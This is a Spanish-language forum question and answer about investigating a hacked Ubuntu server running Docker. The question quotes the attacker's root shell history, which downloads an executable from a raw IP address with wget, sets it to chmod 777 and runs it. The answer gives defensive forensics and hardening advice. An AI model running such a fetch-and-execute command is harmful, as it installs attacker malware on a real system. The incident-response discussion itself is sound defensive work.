¿Cómo se puede hackear un servidor aparte del puerto 80 o SSH?

Question

¿Cómo se puede hackear un servidor aparte del puerto 80 o SSH?

#1 de Zack (4 votos)

3

Actualmente tengo un servidor comprometido (Ubuntu) que ejecuta todos los servicios en contenedores Docker, pero hoy encontré un programa malicioso que estaba generando un ataque DDOS.

Revisé todos los servicios en Docker, y están bien, no estaban comprometidos, pero el anfitrión sí. Encontré un archivo ejecutable /AAK en Ubuntu que creo que fue el ataque DDOS, y encontré en la historia de root las siguientes entradas:

netstat -antup
chmod 777 AA
wget http://211.142.203.242:7410/AAK
chmod 777 AAK
./AAK

Para mí está claro que fue el origen del ataque, y al verificar los puertos abiertos en el servidor, este proceso abrió un puerto 10XX aleatorio, y otro proceso malicioso tuvo un puerto abierto.

Se abren otros puertos: 80 (nginx en un contenedor de Docker), 22 (SSH, NO usando contraseña, usando claves en su lugar), y 111 (estaba abierto de forma predeterminada y fue utilizado por rpcbind)

¿Cómo puedo comprobar cómo el atacante obtuvo acceso de root al servidor? Si la aplicación en un contenedor Docker no era el origen, ¿qué podría haber causado esta infracción?

No quiero volver a crear el servidor solo para ser pirateado de nuevo con la misma vulnerabilidad.

Editar: olvidé mencionar que estaba usando el complemento vagrant de digital-ocean.

webserver

pregunta IAmJulianAcosta 02.07.2016 - 23:15

fuente

1 respuesta

Lea otras preguntas en las etiquetas webserver

Robot de firma PGP Correo electrónico verificado de DKIM ¿Cómo puedo saber qué subclave GitHub está usando para firmar?

score 4 · Answer 1

Hay varios métodos que puedes investigar para responder tus preguntas.

Encuentre las versiones para SSHD y RPCbind y NGinx. Google cada versión para cualquier vulnerabilidad y vulnerabilidades remotas o locales. El atacante podría muy bien haber utilizado una combinación de vulnerabilidades o vulnerabilidades locales y remotas, y no una forma única de entrar.
Examine todos los registros importantes (acceso, SSH, Kernel, etc.) e intente localizar lo más cerca que pueda cuando se comprometió el servidor, y posiblemente cómo.
Busque en los archivos de historial de todos los usuarios, no solo de la raíz.
¿Cuándo se crearon por primera vez los archivos AA y AAK? Busque en los registros del paso 2 al menos una semana antes de esas fechas y observe detenidamente.

Si decide reconstruir el servidor, sugeriría elegir el Kernel más actualizado disponible y cerrar RPCbind si no es necesario. Limite el uso de SSH solo para claves privadas (también se deshabilitan todas las contraseñas). Puede instalar muchos programas para verificar la integridad de los archivos inmediatamente después de la instalación nueva.